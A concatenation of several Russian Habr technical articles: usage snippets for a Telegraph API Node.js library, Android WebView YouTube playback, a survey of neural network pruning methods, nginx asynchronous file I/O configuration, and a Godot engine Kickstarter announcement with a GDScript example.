ph.getAccountInfo(access_token, options).then((resulr) => {
console.log(result)
})
```
revokeAccessToken
-----------------
Перевыпуск токена:
```
ph.revokeAccessToken(access_token).then((resulr) => {
console.log(result)
})
```
createPage
----------
Создание страницы:
```
ph.createPage(access_token, title, content, options).then((resulr) => {
console.log(result)
})
```
editPage
--------
Редактирование страницы:
```
ph.editPage(access_token, path, title, content, options).then((resulr) => {
console.log(result)
})
```
getPage
-------
Получение страницы:
```
ph.getPage(path, options).then((resulr) => {
console.log(result)
})
```
getPageList
-----------
Получение список страниц:
```
ph.getPageList(access_token, options).then((resulr) => {
console.log(result)
})
```
getViews
--------
Получение кол-во просмотра страницы:
```
ph.getViews(path, options).then((resulr) => {
console.log(result)
})
```
Обработка запросов
------------------
Для обработки и отправки POST запросов к API, я использовал фреймворк [Tiny Request](https://github.com/mounlion/tiny_request)
Применение
----------
Я буду применять её для создания Telegram Bot. Часто бывает что нужно отображать большой объём информации с картинками и локацией, отправка многих сообщений решает проблему, но я считаю, что Telegraph с его Instant View справиться лучше.
GitHub
------
→ [Telegraph-Node](https://github.com/mounlion/telegraph-node)
Спасибо всем тем, кто осилил статью. **Жду ваших отзывов и предложение!**
**Update: Поддержка Promise** | https://habr.com/ru/post/318474/ | null | ru | null |
# Проигрывание YouTube видео с помощью WebView
Некоторые разработчики под Андроид ОС могли столкнуться с проблемой проигрывания видео с youtube, в версии операционной системы 2.2 и старше. Когда старый вариант с использованием [shouldOverrideUrlLoading](http://developer.android.com/reference/android/webkit/WebViewClient.html#shouldOverrideUrlLoading(android.webkit.WebView, java.lang.String)) уже перестал работать, а новые решения достаточно проблематично отыскать. В данном посте я предлагаю пример основанный на использовании некоторых особенностей [WebView](http://developer.android.com/reference/android/webkit/WebView.html) связанных с динамическим созданием так называемых [CustomView](http://developer.android.com/reference/android/webkit/WebChromeClient.html#onShowCustomView(android.view.View, android.webkit.WebChromeClient.CustomViewCallback)).
#### Описание происходящего
Для упрощения работы с проигрыванием видео, разработчики Андроид **уже** добавили автоматическое создание потокового плеера со всеми необходимыми параметрами и VideoView для отображения этого потока. Нам как разработчикам нужно только корректно использовать всё это богатство и правильно им распорядиться.
##### VideoView
После клика пользователя на превью в [WebView](http://developer.android.com/reference/android/webkit/WebView.html) показывающем мобильную версию youtube:
WebView вызывает передает в [WebChromeClient](http://developer.android.com/reference/android/webkit/WebChromeClient.html) объект содержащий уже запущеныей VideoView готовый к показу на экран, наша задача позволить данному View отобразить свой контент пользователю. Поэтому в методе [onShowCustomView](http://developer.android.com/reference/android/webkit/WebChromeClient.html#onShowCustomView(android.view.View, android.webkit.WebChromeClient.CustomViewCallback)) мы получаем и обрабатывем этот компонент, добавляя его в текущую иерархию виджетов.
`> @Override
>
>
> public void onShowCustomView(View view, CustomViewCallback callback) {
>
>
> if (mCustomView != null) {
>
>
> callback.onCustomViewHidden();
>
>
> } else {
>
>
> mCustomView = view;
>
>
> mCustomViewCallback = callback;
>
>
> mWebView.setVisibility(View.GONE);
>
>
> mMainContentContainer.addView(view, CUSTOM\_VIEW\_LAYOUT\_PARAMS);
>
>
> }
>
>
> }`
Но так как мы изменили текущий View, то для продолжения просмотра сайта, после просмотра видео или по клику на кнопку BACK, мы должны вернуть предидущее состояние иерархии, для этого используется ещё один метод из [WebChromeClient](http://developer.android.com/reference/android/webkit/WebChromeClient.html), а именно [onHideCustomView](http://developer.android.com/reference/android/webkit/WebChromeClient.html#onHideCustomView()). В нем мы закрываем VideoView и продолжаем показ WebView.
`> @Override
>
>
> public void onHideCustomView() {
>
>
> if (mCustomView != null) {
>
>
> mMainContentContainer.removeView(mCustomView);
>
>
> mCustomViewCallback.onCustomViewHidden();
>
>
> mCustomView = null;
>
>
> mWebView.setVisibility(View.VISIBLE);
>
>
> }
>
>
> }`
Этих действий вполне достаточно для работы с YouTube видео на Android 2.2.
[Пример работающего проекта.](http://dl.dropbox.com/u/20560769/YouTubePlayer.zip) | https://habr.com/ru/post/130422/ | null | ru | null |
# Прунинг нейронных сетей (фитнес бывает полезен не только людям)
Всем привет! В данном посте я хотел бы рассказать про весьма интересную и важную деятельность в области глубокого обучения как прореживание (прунинг) нейронных сетей. На просторах сети есть неплохие материалы по данной теме, например, [статья на Хабре трехлетней давности](https://habr.com/ru/post/413939).
Здесь будет приведен общий обзор основных методик прореживания нейронных сетей, разработанных человечеством в его (почти) безграничной изобретательности, а в последующем я планирую рассмотреть некоторые подходы более подробно. Вообще говоря, идей на самом деле существует гораздо больше, чем будет рассмотрено ниже, здесь я приведу самые популярные подходы в подробностях, пропорциональных пониманию автором конретного метода.
Поехали!
### Определение и мотивация
Прунинг нейронных сетей - это метод сжатия (уменьшения расхода памяти и вычислительной сложности) сети за счет устранения части параметров в предобученной модели.
Желание облегчить и упростить модель достаточно естественно, в каком-то смысле. Современные успехи и бурное развитие в сфере глубокого обучения обусловлено не только разработкой огромного количества новых архитектур и вовлченностью большого числа людей в данной области, но и сильно возросшими вычислительными мощностями (власть, которая и не снилась моему отцу). Увесистые нейронные сети с миллионнами (миллиардами) параметров стало возможно обучать благодаря массовому распространению высокопараллельных вычислитей - GPU, TPU и т.д, которые еще можно обьединять в целые кластера.
Тем не менее, во многих приложениях и обыденных ситуациях возможности запустить сеть на мощной карточке с тысячей CUDA ядер нет. В качестве простого примера приведу использование нейронных сетей на смартфонах для задач интеллектуаьной сьемки и обработки фото и звука. Само собой, впихнуть в смартфон Нвидиевскую V100 - так себе вариант, ибо такое устройство будет не только весить не меньше 1.5 кг, но еще потреблять 300 Вт, для чего придется с собой вдобавок таскать блок питания. В общем, так себе удовольствие.
Так примерно бы выглядел телефон с V100В то же время, как известно, нейронные сети перепараметризованы - многие параметры в сети излишни и мало влияют на конечный выход нейронной сети. И отсюда возникает идея - взять хорошо обученную модель и устранить в ней как можно больше весов и операций, при этом не потеряв существенно в качестве. Более того, при небольшом прореживании обычно наблюдается повышение качества на тестовой выборке. Предположительно, ликвидация лишних параметров убирает "шумные веса" из модели и разрушает случайные закономерности, которые сеть обнаруживает на обучающей выборке, но не являющиеся характерным для всего распределения данных в целом.
Типичное поведение качества на тестовой выборке для прореженных моделей в зависимости от степени прореживания.
(ResNet50 на ImageNet, топ-1 точность)Данная идея весьма не нова, и ведет начало не от Адама и Евы, но в достаточно далекие времена (конец 80-х - начало 90-х), когда число параметров в нейронных сетях не превышало нескольких тысяч и глубокое обучение было уделом сравнительно узкой группы энтузиастов.
### Классификация
Во-первых, методы прореживания сети можно разделить на две большие категории:
1. Прунинг на уровне модели.
Веса из сети устраняются окончательно и бесповоротно. Для каждого примера из обучающей или тестовой выборке используются те же веса при инференсе (inference).
2. Эфемерное прореживание (Ephemeral sparsity).
Веса из сети не убираются, но при каждом проходе в вычислении функции используется только часть параметров модели или активаций с прошлых слоев. В качестве известных примеров можно привести Dropout, где часть случайно выбранных весов зануляется, (да-да, целью дропаута явялется регуляризация, а не прореживание, но тем не менее) и Switch Transformer.
В этом обзоре я буду рассматривать первую категорию. Кроме того, прунинг можно разделить на:
1. Неструктурированный прунинг.
Прореживание модели проводится на уровне отдельных весов. Полученная маска активных весов, вообще говоря, имеет хаотическую структуру.
2. Структурированный прунинг.
Прореживание проводится на уровне целых сверточных фильтров или даже слоев в сети. Кроме того, можно прореживать веса не по отдельности, а блоками, организованными по соседству.
Первый подход позволяет обычно добиться большего количества зануленных весов, но при этом дает меньше преимуществ в реализации на реальном железе, так как вычисления обычно паралеллизованны и проводятся на уровне векторов и матриц. Специальные структуры данных для разреженных матриц (sparse matrix), такие как **CSR** (compressed sparse row), **CSR** (compressed sparse column) и **COO** (coordinate offset) дают преимущество только если матрица сильно разреженная (не более 10% ненулевых элементов).
Иллюстрация, показывающая разницу между структурированным и неструтурированным прунингом.Далее, методы можно разделить на
1. Прореживающее модель глобально
Для прореживания используется информация со всех слоев сети.
2. Прореживающие послойно
Прореживание слоев проводится независимо.
### Обучение прореженной модели
Существует несколько стратегий по прореживанию моделей:
1. Однократное прореживание (One-shot pruning).
Берется предварительно обученная модель и в определенный момент устраняется некоторая часть весов согласно алгоритму прореживания. Можно на этом этапе оставить все как есть, но обыкновенно продолжают обучение на протяжении еще некоторого количества эпох, тем более, что при использовании более грубых методов, вроде magnitude-based, качество первоначально может заметно просесть и восстановиться до уровня близкого в исходной модели, только после оптимизации. При этом важно дождаться сходимости к оптимуму, так как если проредить еще не оптимальную модель, итоговое качество будет несколько хуже.
2. Итеративное прореживание
Модель прореживается постепенно. Через число шагов, определенных расписанием прореживания (pruning schedule), часть весов устраняется из модели, затем проводится дообучение модели. Данная процедура проводится некоторое количество раз до тех пор пока модель не достигнет требуемой разреженности. Здесь, как можно заметить, довольно большой простор для подбора гиперпараметров - сколько весов отбросить на данной итерации, сколько эпох обучать модель между каждой итерацией.
3. Обучение разреженной модели c самого начала
Кроме того, можно стартовать сразу с разреженной модели, а затем уже по ходу дела убирать наименее важные веса и заодно наращивать новые веса (которые до этого были обращены в нуль) на основе некоторого критерия. Достоинством данного подхода является возможность обучения моделей, которые в плотном виде (dense) не помещаются в память устройства.
К данным методам относятся `SET`, `SNIP`, `RiGL`, `GraSP`.
Различие между подходами показано на картинке ниже:
Какая из стратегий является лучшей - до сих пор на этот вопрос нет четкого ответа. Различные источники дают свидетельства в пользу того или иного метода на конкретных примерах.
### Критерии отбрасывания весов
**Data-free**
Данные подходы не используют никакой информации о целевой функции и промежуточных активациях в нейронной сети.
* Magnitude-based pruning
Одним из простейших и в то же самое время эффективных подходов является magnitude-based pruning, отбрасывающий веса с наименьшей абсолютной величиной . Перемножение матриц, операции свертки неизбежно содержат с себе операцию следующего вида (по повторяющимся индексам подразуемвается суммирование):
 В предположении, что входы  среднем имеют величину одного порядка, видим, что веса с наименьшей абсолютной величиной вносят наименьший вклад с сумму. Конечно, вообще говоря, это неправда, но при отсутствии дополнительных данных, довольно разумное предположение. Так сказать, дешево и сердито.
Результат применения magnitude-based прунинга на ResNet50 и ImageNet датасете Magnitude-based pruning - один из самых первых методов прореживания сети, предложенный еще в конце 80-х.
Несмотря на простоту, данный метод отрабатывает довольно неплохо на практике, и позволяет до определенного предела отбрасывать веса без потери в качестве предсказаний. Из-за простоты реализации и дешевизны использования на текущий момент - это самый популярный способ прореживания. Дополнительные расходы при обучении сводятся к хранению в памяти масок прореживания весов и построения гистограммы весов раз в одну и нескольких эпох, поэтому этот метод применим и для больших нейронных сетей.
Тем не менее, когда сеть уже сильно разреженная такой подход убирает веса не всегда оптимально, и качество начинает проседать довольно существенно.
**Data-driven**
Кроме того, можно прореживать нейронную сеть в зависимости от чувствительности выходов к значению конкретного веса.
* На основе дисперсии выходов нейрона
Если для конкретного нейрона выход меняется незначительно для различных входных данных, то можно просто взять и убрать данный нейрон, и его выход добавить в bias для последующих нейронов. Т.е если , то вполне естетвенно просто заменить нейрон на константу 
* На основе величины активации нейрона
[В работе](https://www.sciencedirect.com/science/article/pii/0925231294900558?via%3Dihub) было предложено определять важность нейронов в зависимости от средних значений и дисперсии активаций нейронов на выборке. Идея подхода та же, что и в magnitude-based, но сравнение проводится для нейронов, а не весов, и здесь не делается предположения о примерном равенстве входных значений, которые домножаются на веса.
* На основе взаимной корреляции между весами
Если в данном слое существуют сильно скореллированые нейроны, которые соединены с одними и теми же нейронами на следующем слое, то можно обьединить несколько нейронов в один, тем самым несколько уменьшив число операций.
**Training-aware**
* Методы, основанные на разложении лосс-функции в ряд Тейлора (OBD, OBS)
К данному семейству методов относятся *Optimal Brain Damage*, предложенный Ле Куном (да-да, тем самым, который классифицировал MNIST) и *Optimal Brain Surgeon*.
Предположим, что имеющаяся в распоряжении обучающая выборка достаточно хорошо описывает распределении данных и модель находится в локальном оптимуме (возможно плохом) лосс функции  или по крайней мере в окрестности. Кроме того, наложим нужные требования по гладкости, и тогда в окрестности точки минимума разложим функцию потерь до второго по весам:
Здесь - вектор сдвига от точки оптимума. А - *матрица Гессе*, составленная из вторых производных функции потерь
 В точке экстремума второй член зануляется, а матрица Гессе - положительно определена (полуопределена), иначе существует направление, двигаясь по которому можно уменьшить еще значение функции потерь. Далее ставится следующая задача - найти такой оптимальный сдвиг в пространстве весов, так что один из них в итоге обратится в ноль. Т.е:
Здесь - единичный вектор в направлении -веса.
Традиционно задача нахождения условного экстремума решается методом введения множителей Лагранжа, что и делают авторы в статье по OBS. Для каждого из весов считают изменение лосс-функции при движении, зануляющем какой либо из весов:
![ \delta \mathbf{w} = -\frac{w_i}{[\mathbf{H}^{-1}]_{ii}} \mathbf{H}^{-1} \cdot e_i \quad \delta \mathcal{L}(\mathbf{w}) = \frac{1}{2} \frac{w_i^2}{[\mathbf{H}^{-1}]_{ii}} ](https://habrastorage.org/getpro/habr/upload_files/d66/ecb/1a7/d66ecb1a778c49e5c9541df8227c48d7.svg)
И среди всех весов выбираем такой, для которого рост функции потерь наименьший.
Сравнение различных принципов прунинга для фиксированной квадратичной функцииВ методе Ле Куна делается предположение, что матрица Гессе - диагональна, т.е:
Тогда критерий отбора сводится к нахождению весов с наименьшеним значением , при этом другие веса не изменяются.
То есть кроме абсолютной величины весов, мы учитываем кривизну повехности функции потерь. Заметим, что OBD сводится к magnitude-based прунингу, когда все  равны.
Сравнение линий уровня лосс-функции для magnitude pruning, OBD, OBS Однако, как было замечено в работе по OBD, в действительности Гессиан существенно не диагонален - поэтому отбирает веса не оптимально. В своей работе авторы сравнили на различных искуственных бенчмарках два метода, и их метод отработал точнее. Заметим, что дело происходило в начале 90-х и возможности прогнать нейросеть на CIFAR-10, не говоря уже про ImageNet, у исследователей не было.
Сравнение OBS и OBD на задаче классификации, где данные сгенерированы из нормального распределенияНесмотря на хорошую теоретическую подоплеку, такой подход имеет несколько фундаментальных проблем и нюасов.
1. Во-первых , вычисление матрицы Гессе - очень дорогостоящая с вычислительной точки зрения и по памяти операция.
В случае, если проводить вычисление для всех пар весов 
требуется память пропорциональная числу весов в квадрате . Для сравнительно маленькой `MobileNet-V3` c 2.5 миллионами параметров - это чисел, что даже в `bfloat16` дает 12 TB. Если вашего дядю не зовут Дженсен Хуанг или вам не досталась криптоферма по наследству, то такую матрицу банально не поместить в память системы GPU. А для `GPT-3` и вовсе размер матрицы будет приближаться к количеству атомов во Вселенной (шутка).
2. Кроме того, разложение в ряд Тейлора точно только в окрестности данной точки, а при серьезном уходе от нее члены более высокого порядка могут давать существенный вклад. А гарантий, что  достаточно мало - нет.
Для обхода первой проблемы в работе было предложено считать матрицу Гессе только в пределах данного слоя. Такой подход дал лучшее качество по сравнению с magnitude-based бейзлайном.
Сравнение L-OBS (послойного OBS) c другими подходами. Жирным шрифтом отмечены параметры, по которым авторы превзошли другие работы с списке с соотвествии с современной модой.Качество на ImageNet для ResNet50 в зависимости от степени сжатия модели для L-OBS* Методы, основанные на - регуляризации
+ - регуляризация (и ее приближения)
Естественной идеей кажется добавить в функцию потерь регуляризационный член следующего вида -
Но проблема в том, что такая фунция не дифференцируема в окрестности поэтому оптимизировать такую штуку градиентными методами не получится, а не градиентные методы сходятся не так резво и вообще неградиентная оптимизация вполне себе вызов.
Отсюда возникает мысль о том, чтобы заменить ступеньку в на что-то близкое, но гладкое, и первое, что приходит в голову - функция типа сигмоиды:
 Параметр - регулирует крутизну - чем больше  тем ближе функция к ступеньке, и тем сложнее ее оптимизировать.
(cлева) приближение ступенчатой функции сигмоидой. (справа) Приближение magnitude-pruning.Добавление такого члена в фунцию потерь загоняет часть весов в значения, близкие к 0, и затем их можно отсеять, как в magnitude-based прунинге.
[В работе](https://arxiv.org/abs/2003.00075) данный подход был применен довольно успешно к `ResNet50` и еще ряду современных сверточных архитектур.
Soft L\_0 прунинг (здесь LTP) против исходной модели и конкуретных подходов. Rate - отношения числа параметров в исходной модели к конечному числу параметров. В качестве исходной модели взят ResNet50.Soft L\_0 прунинг (здесь LTP) на ряде архитектур. В таблице представлено качество на валидационной выборке на ImageNet.*  - регуляризация
-регуляризация (она же Лассо) довольно хорошо себя зарекомендовала в задачах линейной регресии. При добавлении члена вида в функцию потерь часть весов, в зависимости от коэффициента регуляризации, обращается тождественно в 0. Тем самым осуществляется `feature selection`. Увы, для глубоких сетей такого замечательное свойство не имеет места, а наличие регуляризации лишь ограничивает выразительную способность сети. Таким образом, утверждается, что такой метод оказывается не слишком полезным на практике.
* Методы, основанные на Байесовских подходах
Если воспринять идею про то, что избыточные веса являются шумом в модели, более близко к сердцу то вполне естественно перейти к Байесовской интерпретации задачи глубокого обучения. А именно, теперь значения весов мы считаем не фиксированными, а накладываем на каждый вес некоторое распределение вероятности.
В [оригинальной работе](http://proceedings.mlr.press/v70/molchanov17a.html) было предложено наложить на веса сети нормальное распределение , т.е с средним  и дисперсией 
Данный подход мотивирован работой по Гауссовому дропауту (Gaussian dropout), добавляющему мультипликативный шум , где было показано, что такой подход эквивалентен обычному дропауту, где накладывается
бинарная маска на выходы, при условии 
То есть веса с большим значением - отвечают зашумленным весам, чье значение может существенно изменяться, без существенного изменения качества предсказания. Поэтому эти веса становятся кандидатами "на выход".
Параметры являются обучаемыми точно так же, как и матожидания весов нейронной сети 
В функцию потерь добавляется дополнительный член - *KL-дивергенция* между априорным распредлелением на веса и апостериорным вместо которой затем считается *Variational lower bound*.
В приведенных экспрериментах вариационный дропаут превосходит в плане эффективности другие современные ему подходы.
Сравнение вариационного дропаута с Magnitude pruning (обозначен просто как Pruning) и парочкой других методов на LeNet и MNIST.Вариационный дропаут на VGG и CIFAR-10(100)**Методы обучения разреженной сети с самого начала**
Рассмотренные выше подходы стартуют с плотной модели, где присутствуют все веса.Но вполне допустимо начать обучение с разреженной модели, занулив большую часть весов на первом шаге. Есть две основные стратегии дальнейшей оптимизации :
1. Фиксированная разреженность
Маски нулевых и ненулевых весов зафиксированы на первом шаге, и не меняются в дальнейшем. (`SNIP`, `GraSP`)
2. Динамическая разреженность
Время от времени маски весов обновляются - часть весов, что были отличны от нуля, прореживаются, но на их место добавляются новые веса, те, что ранее были нулевыми, согласно некоторому критерию (`SET`, `RigL`).
* SNIP (Single-shot Network Pruning based on Connection Sensitivity)
SNIP определяет важные веса до начала обучения в зависимости от их влияния
на лосс-функцию .
Лосс-функция считается на одном батче, причем размер батча берется равным числу классов а задаче классификации.
Лично мне кажется данный критерий довольно сомнительным , так как градиент в момент инициализации, а тем более на одном батче, не обязан быть сонаправлен с дальнейшей эволюцией весов.
Кроме того, в случае большой степени разреженности может быть так, что в каком-то слое [не останется живых весов вообще](https://arxiv.org/abs/2006.05467)`.`А при наличии нулевой операции дальнейшей обучение сети невозможно.
Но тем не менее, несмотря на вышеперечисленные соображения, в экспериментах такой способ работает довольно неплохо.
SNIP против других методов прунинга на LeNet и MNISTSNIP на различных архитектурах* SET и RigL
SET и RigL, в отличие от SNIP и GraSP, периодически обновляют маски весов. В качестве критерия отбрасывания используется старый добрый magnitude pruning. SET выбирает новые веса для наращивания случайным образом, RigL считает градиент в данной точке, сняв маску, чтобы градиент мог быть отличным от нуля для всех весов, и добавляет те веса - для которых градиент наибольший. То есть выбирает те веса, которые могут потенциально максимально изменить лосс-функцию.
В работе по SET было показано, что обновление весов приводит к лучшему качеству, чем фиксированная разреженность. RigL, использующий более "умный" критерий наращивания весов, превосходит SET в приведенных экспериментах.
SET на MNIST и CIFAR-10. В качестве архитектуры берется MLP с 30-миллионами параметров. FixProb - означает фиксированную разреженность после первого отбрасывания весов.Точность на валидации для RigL на ResNet50 на ImageNet. Static - фиксированная разреженность (единоразовое прореживание перед обучением). Small-Dense - плотная сеть, которая содержит (1 - S) долю параметров исходной модели. Small-Dense\_5x - на обучении размер, как у исходной модели, на тесте (1 - S) занулены, как в дропауте. RigL - модель, которая в плотном виде эквивалента исходной модели, но содержит только (1 - S) от исходной модели.
RigL\_5x - модель с 5 (1 - S) от числа параметров в исходной модели.* GraSP (Gradient Signal Preservation)
В этой работе было предложено использовать более сложный критерий, чем SNIP, для определения важности весов, использующий информацию второго порядка о функции потерь:
Здесь - сдвиг, зануляющий данный вес.
Наличие матрицы Гессе может подвергнуть сомнению применение данного метода на сетях, существенно отличных от игрушечных, но на самом деле данная матрица не вычисляется явно, а только произведение матрицы и вектора. (такая операция есть из коробки в [Торче](https://pytorch.org/docs/stable/generated/torch.autograd.functional.hvp.html#torch.autograd.functional.hvp).
Согласно приведенным в статье экспериментам, GraSP превосходит SNIP при прунинге ResNet32 на CIFAR-10(100). В то же время в большинстве случаев SNIP отрабатывает лучше на старушке VGG19.
raSP против SNIP на ResNet32 и VGG19(слева) Кривые обучения для SNIP и GraSP. (справа) GraSP обладает большей величиной градиента после прунинга по сравнению с SNIP и случайным прунингом.Авторы утверждают, что при их подходе градиент имеет большую величину по сравнению с другими подходами, благодаря чему должна иметь место более быстрая сходимость процедуры обучения.
**Ложка дегтя**
Несмотря на активной деятельность в данной области и большое разнообразие идей и подходов, все же их применимость на практике достаточно ограничена. Основные критерии, по которым сравниваются разные методы - `Compression ratio` (уменьшение количества параметров) и `Theoretical Speedup` (уменьшение числа операций сложения и умножения) - не всегда приводят к `Practical speedup`. Если для структуриванного прунинга выигрыша добиться гораздо проще, так как в итоге будет получен тензор с меньшим числом каналов или размером свертки, чем исходной, то для неструктурированного прунинга польза на практике наблюдается только при прореживании большого числа весов, так что можно перейти к представлению, работающему с разреженными тензорами.
Кроме того, как подмечено [здесь](https://arxiv.org/abs/2003.03033), преимущество того или иного подхода сложно констатировать в силу следующих причин:
* Авторы статей не всегда приводят детали экспериментов, и зачастую при сравнении подходов используются разные настройки алгоритмов оптимизации, целевые функции. То есть, невозможно установить превосходство достингнуто за счет того, что данный метод лучше, чем другой, или процедура обучения оказалось удачнее.
* Алгоритм прунинга протестирован на небольшом числа датасетов и архитектур.
* Слишком мало точек на кривой Парето для того, чтобы делать какие-либо заключения.
* Нет доверительных интервалов и оценки погрешности. Отсюда велик риск, что результат может быть зависим от случайных факторов.
Продвинутый метод, использующий информацию второго порядка по лосс-функции, может в итоге не сильно переиграть в итоге простой и грубый magnitude-based прунинг.
Кривая обучения для метода Вуда-Фишера (вариация OBS) и magnitude-based прунинга. По оси ординат отложено качество на тестовой выборке. Резкие скачки соотвествуют моментам прореживания нейронной сети.Кроме того, прореженная нейронная сеть может превзойти исходную архитектуру в плане эффективности, но, как часто бывает, пояляется новая архитектура, более совершенная и навороченная, и сколь ни хороша стратегия прореживания сети, выигрыш от прореживания не столь велик, как от перехода на новую архитектуру. Поэтому поиск архитектурных решений в целом считается более успешным и перспективным направлением.
Парето фронт для разных архитектур на ImageNet. Кружками обозначены исходные модели. Звездочки отвечают прореженным моделям. Нетрудно заметить, что переход на другую архитектуру дает большой выигрыш в плане эффективности.**Различные методы прунинга на ImageNet**
Относительное изменение качества на отложенной (валидационной) выборке на ImageNet для различной степени прореживания нейронной сети, стратегии и архитектуры нейронной сети. Отрицательное значение означает прирост качества на валидации по сравнению с исходной моделью. Сплошные кривые отвечают лушчей сети из данного семейства.По всей видимости, различные методы прунинга дают более-менее сопоставимый результат в данной задаче. Можно заметить, что прунинг работает более эффективно на более старых архитектурах - `AlexNet`, `VGG`, `ResNet`, и не так хорошо на более современных `MobileNet` и `EfficientNet`. Это ожидаемый результат, так как последние две сети были спроектированы специально, чтобы более экономно и эффективно использовать параметры, нет той избыточности, от которой можно легко и безнаказанно избавиться.
**Количество работ по различным методам прунинга**
 Круговая диаграмма, где отражено количество работ, использующих тот или иной метод прореживания сети **Заключение**
Таким образом, прореживание нейронных сетей - это очень актуальная и интересная область деятельности, но в настоящий момент применимость прунинга на практике довольно ограничена. На текущий момент, не сколь либо строгой теории, гарантирующей успех или не успех той или иной стратегии прореживания. Тем не менее, потенциальный выигрыш и польза от сжатия сетей слишком заманчивы и мотивируют дальнейшиме исследования в этой области. Нет причин сомневаться в том, что в ближайшие несколько лет нас ждет кипучая деятельность в этом направлении и с ней множество интересных и вдохновляющих идей.
**Список литературы**
* Обзорные статьи
[Обширный обзор по прунингу, на основе которого во многом написана эта статья](https://arxiv.org/abs/2102.00554)
[Обзор с сравнением различных подходов на бенчмарках (много графиков)](https://arxiv.org/abs/2003.03033)
* Статьи по конкретным методам
[Optimal Brain Damage](https://papers.nips.cc/paper/1989/file/6c9882bbac1c7093bd25041881277658-Paper.pdf)
[Optimal Brain Surgeon](https://authors.library.caltech.edu/54981/1/Optimal%20Brain%20Surgeon%20and%20general%20network%20pruning.pdf)
[Layerwise OBS](https://arxiv.org/abs/1705.07565)
[Magnitude-base pruning (первая работа)](https://proceedings.neurips.cc/paper/1988/file/1c9ac0159c94d8d0cbedc973445af2da-Paper.pdf)
[Magnitude-based pruning (работа Han et al.)](https://papers.nips.cc/paper/2015/file/ae0eb3eed39d2bcef4622b2499a05fe6-Paper.pdf)
[Learned Threshold Pruning](https://arxiv.org/abs/2003.00075)
[Variational Dropout](http://proceedings.mlr.press/v70/molchanov17a.html)
[SNIP](https://arxiv.org/abs/1810.02340)
[SET](https://www.nature.com/articles/s41467-018-04316-3)
[RigL](https://arxiv.org/abs/1911.11134)
[GraSP](https://arxiv.org/abs/2002.07376)
* Туториалы по принингу
[Tensorflow](https://www.tensorflow.org/model_optimization/guide/pruning/pruning_with_keras)
[PyTorch](https://pytorch.org/tutorials/intermediate/pruning_tutorial.html) | https://habr.com/ru/post/575520/ | null | ru | null |
# Файловый AIO в nginx
В последних версиях nginx (начиная с 0.8.11) появилась поддержка асинхронного файлового ввода-вывода. Потенциально, эта фича способна устранить одно из узких мест веб-сервера — полную блокировку процесса при файловом IO.
Проблема состоит в том, что ни один из запросов, которые процесс-воркер уже обслуживает, не будет обрабатываться далее, пока не будет окончена операция с файлом. В случаях с большим количеством больших файлов, это могло приводить к заметному замедлению работы воркера.
Раньше, эта проблема решалась увеличением количества процессов-воркеров. Теперь есть альтернативное решение. :) Однако, перед тем, как включать файловый AIO, стоит учесть ряд нюансов.
Во-первых, хочу обратить ваше внимание, что не стоит ожидать от новых версий значительного увеличения производительности. Это возможно только при очень специфической нагрузке — когда один и тот же сервер одновременно отдаёт несколько небольших статических файлов, и очень большое количество больших файлов.
Во-вторых, файловый AIO работает только на FreeBSD 4.3 и выше, либо в Linux, с версии ядра 2.6.22 и выше.
В-третьих, AIO во FreeBSD имеет смысл включать только в версиях FreeBSD-6.4 STABLE, FreeBSD 7, или новее. В более ранних версиях, при включении AIO, сетевая подсистема начинает использовать Giant Lock, что означает невозможность одновременного выполнения какого-то другого системного вызова. Другими словами, почти никаких выгод от асинхронности мы не получим.
Ну и наконец, при использовании AIO под Linux надо также включать directio. Также, если я всё понял правильно, в линукс пока невозможно использовать AIO для подгрузки данных для sendfile, поскольку включение directio отключит использование sendfile автоматически.
Если вы по-прежнему считаете, что оно вам нужно, AIO включается очень просто. Для Linux, фрагмент конфига будет выглядеть примерно так:
`aio on; # включаем AIO
directio 512; # включаем O_DIRECT для файлов, размером 512 байт или больше
output_buffers 128 512k; # зная размер и примерное количество одновременно отдаваемых файлов, можно подобрать более подходящие значения`
Ссылки:
[Описание AIO в документации на Nginx](http://sysoev.ru/nginx/docs/http/ngx_http_core_module.html#aio)
[Changelog](http://sysoev.ru/nginx/changes.html) | https://habr.com/ru/post/68480/ | null | ru | null |
# Godot, Dog Mendonça & Pizza Boy
Разработчики замечательно опенсурсного движка Godot для создания 2D и 3D игр под самые разные платформы студия OKAM, совершенно незаметно для меня вышли со своим проектом [на кикстартере](https://www.kickstarter.com/projects/942343365/the-interactive-adventures-of-dog-mendonca-and-piz). Самым приятным в этой новости для меня является то, что одним из первых стретч-голов является обогащение движка Godot шаблонами и материалами для создания адвенчур. Плохо только то, что сборы, несмотря на маленькую запрашиваемую суммы, идут вяло. Осталось 11 дней, а собрана только треть.
**Страница на Кикстартере:** [www.kickstarter.com/projects/942343365/the-interactive-adventures-of-dog-mendonca-and-piz](https://www.kickstarter.com/projects/942343365/the-interactive-adventures-of-dog-mendonca-and-piz)
**Демо игры** (User: «lorenzo» Password: «lamas»; Без кавычек; Версия под Линукс спрятана в верии под Винду): [www.dog.okamstudio.com](http://www.dog.okamstudio.com/)
**Сайт движка Godot**: [www.godotengine.org/wp](http://www.godotengine.org/wp/)
**Вики по движку на ГитХабе**: [github.com/okamstudio/godot/wiki](https://github.com/okamstudio/godot/wiki)
**UPD**: Минимальную требуемую сумму в 30 000$ собрали!
Немного о личном знакомстве с движком Godot.
Познакомившись с ним недавно, я быстро убедился, что работать с ним очень приятно и крайне удобно. По сути — это не только движок, но и богатый на возможности инструмент для разработки игры. И хотя местами пользовательский интерфейс немного запутанный, в большинстве своем интуитивно понятный. Способствует этому удобная концепция организации игры на сцены, состоящие из иерархической структуры нодов (узлов), каждый из которых представляет собой разные сущности, такие как Спрайт, Объект с просчетом коллизий, Анимация (не только смена кадров, но и любое изменение любых параметров объектов), Форма, Вектор и прочее. Причем сцена — это не только игровой уровень, но и удобное средство для декомпозиции. В нее можно выделить любой повторяющийся набор элементов и использовать ее в других сценах произвольное количество раз.
Внутри Godot использует свой скриптовый язык, gdsript, по синтаксису во многом напоминающий Python. Вот пример кода описывающего движение нода по нажатию клавиши:
```
extends KinematicBody2D
const MOTION_SPEED = 160 # pixels/second
func _fixed_process(delta):
var motion = Vector2()
if Input.is_action_pressed("move_up"):
motion += Vector2( 0, -1)
motion = motion.normalized() * MOTION_SPEED * delta
move(motion)
func _ready():
set_fixed_process(true)
```
К сожалению, с геймдевом вообще я начал знакомиться только сейчас, и этот движок у меня по большей части первый, так что сравнить с другими движками — тем же Unity — мне сложно. Знаю только, что в отличие от упомянутого, Godot нативно работает под Линуксом, так как Godot как инструмент, написан на своем же движке.
